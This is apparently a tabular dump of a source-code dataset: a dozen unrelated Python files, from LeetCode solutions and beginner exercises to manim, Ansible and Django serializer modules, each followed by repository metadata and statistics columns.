"MERGE (ipadd:IP {address: ip_ad}) " \
"MERGE (softVersion:SoftwareVersion {version: cpe, tag: \'cms_client\'}) " \
"MERGE (ipadd)<-[:HAS_ASSIGNED]-(nod:Node) " \
"MERGE (nod)-[:IS_A]->(host:Host) " \
"MERGE (softVersion)-[r:ON]->(host) " \
"ON CREATE SET r.start = datetime(theTime),r.end = datetime(theTime) " \
"ON MATCH SET r.end = datetime(theTime)"
params = {'path': path}
self._run_query(query, **params)
| 39.576271
| 117
| 0.576017
| 282
| 2,335
| 4.652482
| 0.393617
| 0.027439
| 0.027439
| 0.036585
| 0.108232
| 0.108232
| 0.108232
| 0.057927
| 0.057927
| 0.057927
| 0
| 0.003672
| 0.300214
| 2,335
| 58
| 118
| 40.258621
| 0.799266
| 0.321627
| 0
| 0
| 0
| 0
| 0.455571
| 0.141749
| 0
| 0
| 0
| 0
| 0
| 1
| 0.16
| false
| 0.08
| 0.04
| 0
| 0.32
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
e671c98e986dfbf41b15884e3c4cc078b893ecb2
| 1,040
|
py
|
Python
|
Python/problem1150.py
|
1050669722/LeetCode-Answers
|
c8f4d1ccaac09cda63b60d75144335347b06dc81
|
[
"MIT"
] | null | null | null |
Python/problem1150.py
|
1050669722/LeetCode-Answers
|
c8f4d1ccaac09cda63b60d75144335347b06dc81
|
[
"MIT"
] | null | null | null |
Python/problem1150.py
|
1050669722/LeetCode-Answers
|
c8f4d1ccaac09cda63b60d75144335347b06dc81
|
[
"MIT"
] | null | null | null |
from typing import List
from collections import Counter
# class Solution:
# def isMajorityElement(self, nums: List[int], target: int) -> bool:
# d = Counter(nums)
# return d[target] > len(nums)//2
# class Solution:
# def isMajorityElement(self, nums: List[int], target: int) -> bool:
# ans = 0
# for num in nums:
# if num == target:
# ans += 1
# return ans > len(target)//2
class Solution:
def isMajorityElement(self, nums: List[int], target: int) -> bool:
if not nums:
return False
if len(nums) == 1:
return nums[0] == target
p, q = 0, len(nums)-1
while p < q:
if nums[p] > target:
return False
elif nums[p] < target:
p += 1
if nums[q] < target:
return False
elif nums[q] > target:
q -= 1
if nums[p] == nums[q] == target:
return q - p + 1 > len(nums)//2
| 25.365854
| 72
| 0.476923
| 125
| 1,040
| 3.968
| 0.256
| 0.056452
| 0.096774
| 0.199597
| 0.47379
| 0.372984
| 0.372984
| 0.372984
| 0.372984
| 0.372984
| 0
| 0.019386
| 0.404808
| 1,040
| 40
| 73
| 26
| 0.781906
| 0.356731
| 0
| 0.15
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.05
| false
| 0
| 0.1
| 0
| 0.45
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e6774fb2431795bf70a9da58c9b195ced57c3c9e
| 839
|
py
|
Python
|
dev-template/src/mysql_connect_sample.py
|
arrowkato/pytest-CircleiCI
|
2f6a1460a48bf88547538cfc72880a9c86f9ec23
|
[
"MIT"
] | null | null | null |
dev-template/src/mysql_connect_sample.py
|
arrowkato/pytest-CircleiCI
|
2f6a1460a48bf88547538cfc72880a9c86f9ec23
|
[
"MIT"
] | 10
|
2020-08-24T00:25:06.000Z
|
2020-11-08T03:58:48.000Z
|
dev-template/src/mysql_connect_sample.py
|
arrowkato/pytest-CircleiCI
|
2f6a1460a48bf88547538cfc72880a9c86f9ec23
|
[
"MIT"
] | null | null | null |
import mysql.connector
from mysql.connector import errorcode
config = {
'user': 'user',
'password': 'password',
'host': 'mysql_container',
'database': 'sample_db',
'port': '3306',
}
if __name__ == "__main__":
try:
conn = mysql.connector.connect(**config)
cursor = conn.cursor()
cursor.execute('select * from users')
for row in cursor.fetchall():
print("name:" + str(row[0]) + "" + "time_zone_id" + str(row[1]))
conn.close()
except mysql.connector.Error as err:
if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
print("Something is wrong with your user name or password")
elif err.errno == errorcode.ER_BAD_DB_ERROR:
print("Database does not exist")
else:
print(err)
else:
conn.close()
| 28.931034
| 76
| 0.587604
| 99
| 839
| 4.79798
| 0.575758
| 0.117895
| 0.071579
| 0.08
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009885
| 0.27652
| 839
| 28
| 77
| 29.964286
| 0.772652
| 0
| 0
| 0.153846
| 0
| 0
| 0.220501
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.076923
| 0.076923
| 0
| 0.076923
| 0.153846
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
e677b427e6603c8fe21acf94f00727cd3ed74b7a
| 920
|
py
|
Python
|
Mundo 1/ex011.py
|
viniciusbonito/CeV-Python-Exercicios
|
6182421332f6f0c0a567c3e125fdc05736fa6281
|
[
"MIT"
] | null | null | null |
Mundo 1/ex011.py
|
viniciusbonito/CeV-Python-Exercicios
|
6182421332f6f0c0a567c3e125fdc05736fa6281
|
[
"MIT"
] | null | null | null |
Mundo 1/ex011.py
|
viniciusbonito/CeV-Python-Exercicios
|
6182421332f6f0c0a567c3e125fdc05736fa6281
|
[
"MIT"
] | null | null | null |
# criar um programa que pergunte as dimensões de uma parede, calcule sua área e informe quantos litros de tinta
# seriam necessários para a pintura, após perguntar o rendimento da tinta informado na lata
print('=' * 40)
print('{:^40}'.format('Assistente de pintura'))
print('=' * 40)
altura = float(input('Informe a altura da parede em metros: '))
largura = float(input('Informe a largura da parede em metros: '))
area = altura * largura
print('\nA área total da parede é de {:.2f}m²'.format(area))
litros = float(input('\nQuantos litros contém a lata de tinta escolhida? '))
rendlata = float(input('Qual o rendimento em metros informado na lata? '))
rendlitro = rendlata / litros
print('\nSe a lata possui {:.2f}L e rende {:.2f}m²'.format(litros, rendlata))
print('então o rendimento por litro é de {:.2f}m²'.format(rendlitro))
print('\nSerão necessário {:.2f}L para pintar toda a parede'.format(area / rendlitro))
| 46
| 111
| 0.723913
| 142
| 920
| 4.690141
| 0.443662
| 0.06006
| 0.045045
| 0.054054
| 0.039039
| 0
| 0
| 0
| 0
| 0
| 0
| 0.017834
| 0.146739
| 920
| 20
| 112
| 46
| 0.830573
| 0.216304
| 0
| 0.153846
| 0
| 0
| 0.527121
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.538462
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 1
|
e677b75c2a6dcc29dc727e2cdc804229c99df35d
| 591
|
py
|
Python
|
Python/Mundo 3/ex088.py
|
henrique-tavares/Coisas
|
f740518b1bedec5b0ea8c12ae07a2cac21eb51ae
|
[
"MIT"
] | 1
|
2020-02-07T20:39:26.000Z
|
2020-02-07T20:39:26.000Z
|
Python/Mundo 3/ex088.py
|
neptune076/Coisas
|
85c064cc0e134465aaf6ef41acf747d47f108fc9
|
[
"MIT"
] | null | null | null |
Python/Mundo 3/ex088.py
|
neptune076/Coisas
|
85c064cc0e134465aaf6ef41acf747d47f108fc9
|
[
"MIT"
] | null | null | null |
from random import sample
from time import sleep
jogos = list()
print('-' * 20)
print(f'{"MEGA SENA":^20}')
print('-' * 20)
while True:
n = int(input("\nQuatos jogos você quer que eu sorteie? "))
if (n > 0):
break
print('\n[ERRO] Valor fora do intervalo')
print()
print('-=' * 3, end=' ')
print(f'SORTEANDO {n} JOGOS', end=' ')
print('-=' * 3)
for i in range(n):
jogos.append(sample(range(1,61), 6))
sleep(0.6)
print(f'Jogo {i+1}: {jogos[i]}')
print('-=' * 5, end=' ')
print('< BOA SORTE >', end=' ')
print('-=' * 3, end='\n\n')
| 17.909091
| 63
| 0.527919
| 88
| 591
| 3.545455
| 0.534091
| 0.102564
| 0.057692
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.040089
| 0.240271
| 591
| 33
| 64
| 17.909091
| 0.654788
| 0
| 0
| 0.090909
| 0
| 0
| 0.273649
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.090909
| 0
| 0.090909
| 0.545455
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 1
|
e678937ffa958feedad60c6818f9966146fc7fd7
| 229
|
py
|
Python
|
tests/list/list03.py
|
ktok07b6/polyphony
|
657c5c7440520db6b4985970bd50547407693ac4
|
[
"MIT"
] | 83
|
2015-11-30T09:59:13.000Z
|
2021-08-03T09:12:28.000Z
|
tests/list/list03.py
|
jesseclin/polyphony
|
657c5c7440520db6b4985970bd50547407693ac4
|
[
"MIT"
] | 4
|
2017-02-10T01:43:11.000Z
|
2020-07-14T03:52:25.000Z
|
tests/list/list03.py
|
jesseclin/polyphony
|
657c5c7440520db6b4985970bd50547407693ac4
|
[
"MIT"
] | 11
|
2016-11-18T14:39:15.000Z
|
2021-02-23T10:05:20.000Z
|
from polyphony import testbench
def list03(x, y, z):
a = [1, 2, 3]
r0 = x
r1 = y
a[r0] = a[r1] + z
return a[r0]
@testbench
def test():
assert 4 == list03(0, 1 ,2)
assert 5 == list03(2, 1 ,3)
test()
| 14.3125
| 31
| 0.515284
| 41
| 229
| 2.878049
| 0.512195
| 0.20339
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.141026
| 0.318777
| 229
| 15
| 32
| 15.266667
| 0.615385
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 1
| 0.166667
| false
| 0
| 0.083333
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e67abeee75de516885fc3f200a8feafafe7fd320
| 2,313
|
py
|
Python
|
manimlib/mobject/functions.py
|
parmentelat/manim
|
f05f94fbf51c70591bed3092587a5db0de439738
|
[
"MIT"
] | 1
|
2021-02-04T12:54:36.000Z
|
2021-02-04T12:54:36.000Z
|
manimlib/mobject/functions.py
|
parmentelat/manim
|
f05f94fbf51c70591bed3092587a5db0de439738
|
[
"MIT"
] | null | null | null |
manimlib/mobject/functions.py
|
parmentelat/manim
|
f05f94fbf51c70591bed3092587a5db0de439738
|
[
"MIT"
] | null | null | null |
from manimlib.constants import *
from manimlib.mobject.types.vectorized_mobject import VMobject
from manimlib.utils.config_ops import digest_config
from manimlib.utils.space_ops import get_norm
class ParametricCurve(VMobject):
CONFIG = {
"t_range": [0, 1, 0.1],
"min_samples": 10,
"epsilon": 1e-8,
# TODO, automatically figure out discontinuities
"discontinuities": [],
"smoothing": True,
}
def __init__(self, t_func, t_range=None, **kwargs):
digest_config(self, kwargs)
if t_range is not None:
self.t_range[:len(t_range)] = t_range
# To be backward compatible with all the scenes specifying t_min, t_max, step_size
self.t_range = [
kwargs.get("t_min", self.t_range[0]),
kwargs.get("t_max", self.t_range[1]),
kwargs.get("step_size", self.t_range[2]),
]
self.t_func = t_func
VMobject.__init__(self, **kwargs)
def get_point_from_function(self, t):
return self.t_func(t)
def init_points(self):
t_min, t_max, step = self.t_range
jumps = np.array(self.discontinuities)
jumps = jumps[(jumps > t_min) & (jumps < t_max)]
boundary_times = [t_min, t_max, *(jumps - self.epsilon), *(jumps + self.epsilon)]
boundary_times.sort()
for t1, t2 in zip(boundary_times[0::2], boundary_times[1::2]):
t_range = [*np.arange(t1, t2, step), t2]
points = np.array([self.t_func(t) for t in t_range])
self.start_new_path(points[0])
self.add_points_as_corners(points[1:])
if self.smoothing:
self.make_smooth()
return self
class FunctionGraph(ParametricCurve):
CONFIG = {
"color": YELLOW,
"x_range": [-8, 8, 0.25],
}
def __init__(self, function, x_range=None, **kwargs):
digest_config(self, kwargs)
self.function = function
if x_range is not None:
self.x_range[:len(x_range)] = x_range
def parametric_function(t):
return [t, function(t), 0]
super().__init__(parametric_function, self.x_range, **kwargs)
def get_function(self):
return self.function
def get_point_from_function(self, x):
return self.t_func(x)
| 31.684932
| 90
| 0.609166
| 313
| 2,313
| 4.239617
| 0.28115
| 0.058779
| 0.045215
| 0.030143
| 0.165787
| 0.096458
| 0.055765
| 0
| 0
| 0
| 0
| 0.016598
| 0.270644
| 2,313
| 72
| 91
| 32.125
| 0.770006
| 0.054907
| 0
| 0.071429
| 0
| 0
| 0.036647
| 0
| 0
| 0
| 0
| 0.013889
| 0
| 1
| 0.125
| false
| 0
| 0.071429
| 0.071429
| 0.357143
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e68358c694510e180fb49e743ec559c977aea7b6
| 1,467
|
py
|
Python
|
src/HandNetwork.py
|
xausky/hand-network
|
e885003c5bb9157cd06dc3ea3aabddbb7162a0ab
|
[
"MIT"
] | 2
|
2017-04-18T03:31:06.000Z
|
2017-06-08T10:27:59.000Z
|
src/HandNetwork.py
|
xausky/hand-network
|
e885003c5bb9157cd06dc3ea3aabddbb7162a0ab
|
[
"MIT"
] | null | null | null |
src/HandNetwork.py
|
xausky/hand-network
|
e885003c5bb9157cd06dc3ea3aabddbb7162a0ab
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python3
#-*- coding: utf-8 -*-
import urllib.parse
import json
import base64
import requests
import logging
class Network():
LOGIN_URL = 'http://192.168.211.101/portal/pws?t=li'
BEAT_URL = 'http://192.168.211.101/portal/page/doHeartBeat.jsp'
COMMON_HERADERS = {
'Accept-Language': 'en-US',
'Accept': 'text/html'
}
def __init__(self, username, password):
b64Password = base64.b64encode(bytes(password,'utf8'))
self.data = {'userName': username, 'userPwd': b64Password}
def login(self):
logging.info('login:%s'%(self.data))
response = requests.post(Network.LOGIN_URL, data=self.data,
headers=Network.COMMON_HERADERS, timeout=3)
responseText = base64.b64decode(response.text + '==')
responseJson = urllib.parse.unquote(responseText.decode('utf8'))
jsonDict = json.loads(responseJson)
heartBeatCyc = jsonDict.get('heartBeatCyc')
if heartBeatCyc == None:
raise BaseException(responseJson)
logging.info('login seccuss: %s'%(responseJson))
self.heartBeatCyc = int(heartBeatCyc)
self.serialNo = jsonDict.get('serialNo')
return self.heartBeatCyc
def beat(self):
response = requests.post(Network.BEAT_URL, data={'serialNo': self.serialNo},
headers=Network.COMMON_HERADERS, timeout=3)
if response.text.find('v_failedTimes') is -1:
raise BaseException(response.text)
| 36.675
| 84
| 0.657805
| 166
| 1,467
| 5.740964
| 0.46988
| 0.044071
| 0.03148
| 0.027282
| 0.128017
| 0.128017
| 0.052466
| 0
| 0
| 0
| 0
| 0.03856
| 0.204499
| 1,467
| 39
| 85
| 37.615385
| 0.778063
| 0.025903
| 0
| 0.058824
| 0
| 0
| 0.149965
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.088235
| false
| 0.088235
| 0.147059
| 0
| 0.382353
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
e6885b17b97915311f8a8bd86b9f72a31641ef6d
| 7,392
|
py
|
Python
|
plugins/modules/oci_database_management_object_privilege_facts.py
|
LaudateCorpus1/oci-ansible-collection
|
2b1cd87b4d652a97c1ca752cfc4fdc4bdb37a7e7
|
[
"Apache-2.0"
] | null | null | null |
plugins/modules/oci_database_management_object_privilege_facts.py
|
LaudateCorpus1/oci-ansible-collection
|
2b1cd87b4d652a97c1ca752cfc4fdc4bdb37a7e7
|
[
"Apache-2.0"
] | null | null | null |
plugins/modules/oci_database_management_object_privilege_facts.py
|
LaudateCorpus1/oci-ansible-collection
|
2b1cd87b4d652a97c1ca752cfc4fdc4bdb37a7e7
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/python
# Copyright (c) 2020, 2022 Oracle and/or its affiliates.
# This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
# Apache License v2.0
# See LICENSE.TXT for details.
# GENERATED FILE - DO NOT EDIT - MANUAL CHANGES WILL BE OVERWRITTEN
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {
"metadata_version": "1.1",
"status": ["preview"],
"supported_by": "community",
}
DOCUMENTATION = """
---
module: oci_database_management_object_privilege_facts
short_description: Fetches details about one or multiple ObjectPrivilege resources in Oracle Cloud Infrastructure
description:
- Fetches details about one or multiple ObjectPrivilege resources in Oracle Cloud Infrastructure
- Gets the list of Object Privileges granted for the specified user.
version_added: "2.9.0"
author: Oracle (@oracle)
options:
managed_database_id:
description:
- The L(OCID,https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm) of the Managed Database.
type: str
required: true
user_name:
description:
- The name of the user whose details are to be viewed.
type: str
required: true
name:
description:
- A filter to return only resources that match the entire name.
type: str
sort_by:
description:
- The field to sort information by. Only one sortOrder can be used. The default sort order
for 'NAME' is ascending. The 'NAME' sort order is case-sensitive.
type: str
choices:
- "NAME"
sort_order:
description:
- The option to sort information in ascending ('ASC') or descending ('DESC') order. Ascending order is the default order.
type: str
choices:
- "ASC"
- "DESC"
extends_documentation_fragment: [ oracle.oci.oracle ]
"""
EXAMPLES = """
- name: List object_privileges
oci_database_management_object_privilege_facts:
# required
managed_database_id: "ocid1.manageddatabase.oc1..xxxxxxEXAMPLExxxxxx"
user_name: user_name_example
# optional
name: name_example
sort_by: NAME
sort_order: ASC
"""
RETURN = """
object_privileges:
description:
- List of ObjectPrivilege resources
returned: on success
type: complex
contains:
name:
description:
- The name of the privilege on the object.
returned: on success
type: str
sample: name_example
schema_type:
description:
- The type of the object.
returned: on success
type: str
sample: schema_type_example
owner:
description:
- The owner of the object.
returned: on success
type: str
sample: owner_example
grantor:
description:
- The name of the user who performed the grant
returned: on success
type: str
sample: grantor_example
hierarchy:
description:
- Indicates whether the privilege was granted with the HIERARCHY OPTION (YES) or not (NO)
returned: on success
type: str
sample: YES
object:
description:
- The name of the object. The object can be any object, including tables, packages, indexes, sequences, and so on.
returned: on success
type: str
sample: object_example
grant_option:
description:
- Indicates whether the privilege was granted with the GRANT OPTION (YES) or not (NO)
returned: on success
type: str
sample: YES
common:
description:
- "Indicates how the grant was made. Possible values:
YES if the role was granted commonly (CONTAINER=ALL was used)
NO if the role was granted locally (CONTAINER=ALL was not used)"
returned: on success
type: str
sample: YES
inherited:
description:
- Indicates whether the role grant was inherited from another container (YES) or not (NO)
returned: on success
type: str
sample: YES
sample: [{
"name": "name_example",
"schema_type": "schema_type_example",
"owner": "owner_example",
"grantor": "grantor_example",
"hierarchy": "YES",
"object": "object_example",
"grant_option": "YES",
"common": "YES",
"inherited": "YES"
}]
"""
from ansible.module_utils.basic import AnsibleModule
from ansible_collections.oracle.oci.plugins.module_utils import oci_common_utils
from ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils import (
OCIResourceFactsHelperBase,
get_custom_class,
)
try:
from oci.database_management import DbManagementClient
HAS_OCI_PY_SDK = True
except ImportError:
HAS_OCI_PY_SDK = False
class ObjectPrivilegeFactsHelperGen(OCIResourceFactsHelperBase):
"""Supported operations: list"""
def get_required_params_for_list(self):
return [
"managed_database_id",
"user_name",
]
def list_resources(self):
optional_list_method_params = [
"name",
"sort_by",
"sort_order",
]
optional_kwargs = dict(
(param, self.module.params[param])
for param in optional_list_method_params
if self.module.params.get(param) is not None
)
return oci_common_utils.list_all_resources(
self.client.list_object_privileges,
managed_database_id=self.module.params.get("managed_database_id"),
user_name=self.module.params.get("user_name"),
**optional_kwargs
)
ObjectPrivilegeFactsHelperCustom = get_custom_class("ObjectPrivilegeFactsHelperCustom")
class ResourceFactsHelper(
ObjectPrivilegeFactsHelperCustom, ObjectPrivilegeFactsHelperGen
):
pass
def main():
module_args = oci_common_utils.get_common_arg_spec()
module_args.update(
dict(
managed_database_id=dict(type="str", required=True),
user_name=dict(type="str", required=True),
name=dict(type="str"),
sort_by=dict(type="str", choices=["NAME"]),
sort_order=dict(type="str", choices=["ASC", "DESC"]),
)
)
module = AnsibleModule(argument_spec=module_args)
if not HAS_OCI_PY_SDK:
module.fail_json(msg="oci python sdk required for this module.")
resource_facts_helper = ResourceFactsHelper(
module=module,
resource_type="object_privilege",
service_client_class=DbManagementClient,
namespace="database_management",
)
result = []
if resource_facts_helper.is_list():
result = resource_facts_helper.list()
else:
resource_facts_helper.fail()
module.exit_json(object_privileges=result)
if __name__ == "__main__":
main()
| 30.92887
| 133
| 0.626759
| 822
| 7,392
| 5.453771
| 0.284672
| 0.029668
| 0.037921
| 0.046844
| 0.274593
| 0.228418
| 0.154584
| 0.147223
| 0.116663
| 0.073388
| 0
| 0.004805
| 0.296131
| 7,392
| 238
| 134
| 31.058824
| 0.856813
| 0.05533
| 0
| 0.265
| 0
| 0.015
| 0.648114
| 0.03242
| 0
| 0
| 0
| 0
| 0
| 1
| 0.015
| false
| 0.005
| 0.03
| 0.005
| 0.065
| 0.005
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e68c436db086a9f75f4ec9a1c59f8bdd8afa7f45
| 1,028
|
py
|
Python
|
src/simple_report/xls/document.py
|
glibin/simple-report
|
1e68b2fe568d6f7a7d9332d0e83b9a21661419e0
|
[
"Apache-2.0"
] | null | null | null |
src/simple_report/xls/document.py
|
glibin/simple-report
|
1e68b2fe568d6f7a7d9332d0e83b9a21661419e0
|
[
"Apache-2.0"
] | null | null | null |
src/simple_report/xls/document.py
|
glibin/simple-report
|
1e68b2fe568d6f7a7d9332d0e83b9a21661419e0
|
[
"Apache-2.0"
] | null | null | null |
#coding: utf-8
import xlrd
from simple_report.core.document_wrap import BaseDocument, SpreadsheetDocument
from simple_report.xls.workbook import Workbook
from simple_report.xls.output_options import XSL_OUTPUT_SETTINGS
class DocumentXLS(BaseDocument, SpreadsheetDocument):
"""
Обертка для отчетов в формате XLS
"""
def __init__(self, ffile, tags=None, **kwargs):
self.file = ffile
self._workbook = Workbook(ffile, **kwargs)
@property
def workbook(self):
"""
Получение рабочей книги
:result: рабочая книга
"""
return self._workbook
def build(self, dst):
"""
Сборка отчета
:param dst: путь до выходного файла
:result:
"""
self._workbook.build(dst)
def __setattr__(self, key, value):
if key in XSL_OUTPUT_SETTINGS:
setattr(self._workbook, key, value)
else:
super(DocumentXLS, self).__setattr__(key, value)
| 25.7
| 79
| 0.614786
| 109
| 1,028
| 5.568807
| 0.53211
| 0.079077
| 0.079077
| 0.062603
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.001389
| 0.299611
| 1,028
| 39
| 80
| 26.358974
| 0.841667
| 0.150778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0
| 0.222222
| 0
| 0.555556
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e692cff5589dc59f4785c76fbfa11c53ff5a1d4e
| 305
|
py
|
Python
|
setup.py
|
arokem/afq-deep-learning
|
61d7746f03914d63c56253d10d0f6a21e6c78e90
|
[
"BSD-3-Clause"
] | null | null | null |
setup.py
|
arokem/afq-deep-learning
|
61d7746f03914d63c56253d10d0f6a21e6c78e90
|
[
"BSD-3-Clause"
] | null | null | null |
setup.py
|
arokem/afq-deep-learning
|
61d7746f03914d63c56253d10d0f6a21e6c78e90
|
[
"BSD-3-Clause"
] | 2
|
2021-12-01T17:04:39.000Z
|
2022-01-20T22:53:40.000Z
|
from setuptools import find_packages, setup
setup(
name='src',
packages=find_packages(),
version='0.1.0',
description='This repository hosts some work-in-progress experiments applying deep learning to predict age using tractometry data.',
author='Joanna Qiao',
license='BSD-3',
)
| 27.727273
| 136
| 0.718033
| 40
| 305
| 5.425
| 0.875
| 0.110599
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.015873
| 0.17377
| 305
| 10
| 137
| 30.5
| 0.845238
| 0
| 0
| 0
| 0
| 0
| 0.462295
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.111111
| 0
| 0.111111
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
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| 0
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e6960adb05d4b964e50fe6cceef1e01091d1811d
| 2,327
|
py
|
Python
|
FusionIIIT/applications/placement_cell/api/serializers.py
|
29rj/Fusion
|
bc2941a67532e183adeb0bc4042df0b182b9e3aa
|
[
"bzip2-1.0.6"
] | 29
|
2019-02-20T15:35:33.000Z
|
2022-03-22T11:10:57.000Z
|
FusionIIIT/applications/placement_cell/api/serializers.py
|
29rj/Fusion
|
bc2941a67532e183adeb0bc4042df0b182b9e3aa
|
[
"bzip2-1.0.6"
] | 409
|
2019-01-17T19:30:51.000Z
|
2022-03-31T16:28:45.000Z
|
FusionIIIT/applications/placement_cell/api/serializers.py
|
29rj/Fusion
|
bc2941a67532e183adeb0bc4042df0b182b9e3aa
|
[
"bzip2-1.0.6"
] | 456
|
2019-01-12T11:01:13.000Z
|
2022-03-30T17:06:52.000Z
|
from rest_framework.authtoken.models import Token
from rest_framework import serializers
from applications.placement_cell.models import (Achievement, Course, Education,
Experience, Has, Patent,
Project, Publication, Skill,
PlacementStatus, NotifyStudent)
class SkillSerializer(serializers.ModelSerializer):
class Meta:
model = Skill
fields = ('__all__')
class HasSerializer(serializers.ModelSerializer):
skill_id = SkillSerializer()
class Meta:
model = Has
fields = ('skill_id','skill_rating')
def create(self, validated_data):
skill = validated_data.pop('skill_id')
skill_id, created = Skill.objects.get_or_create(**skill)
try:
has_obj = Has.objects.create(skill_id=skill_id,**validated_data)
except:
raise serializers.ValidationError({'skill': 'This skill is already present'})
return has_obj
class EducationSerializer(serializers.ModelSerializer):
class Meta:
model = Education
fields = ('__all__')
class CourseSerializer(serializers.ModelSerializer):
class Meta:
model = Course
fields = ('__all__')
class ExperienceSerializer(serializers.ModelSerializer):
class Meta:
model = Experience
fields = ('__all__')
class ProjectSerializer(serializers.ModelSerializer):
class Meta:
model = Project
fields = ('__all__')
class AchievementSerializer(serializers.ModelSerializer):
class Meta:
model = Achievement
fields = ('__all__')
class PublicationSerializer(serializers.ModelSerializer):
class Meta:
model = Publication
fields = ('__all__')
class PatentSerializer(serializers.ModelSerializer):
class Meta:
model = Patent
fields = ('__all__')
class NotifyStudentSerializer(serializers.ModelSerializer):
class Meta:
model = NotifyStudent
fields = ('__all__')
class PlacementStatusSerializer(serializers.ModelSerializer):
notify_id = NotifyStudentSerializer()
class Meta:
model = PlacementStatus
fields = ('notify_id', 'invitation', 'placed', 'timestamp', 'no_of_days')
| 27.376471
| 89
| 0.644607
| 200
| 2,327
| 7.215
| 0.34
| 0.198198
| 0.106722
| 0.218295
| 0.24948
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.270735
| 2,327
| 84
| 90
| 27.702381
| 0.850324
| 0
| 0
| 0.333333
| 0
| 0
| 0.072626
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.016667
| false
| 0
| 0.05
| 0
| 0.483333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
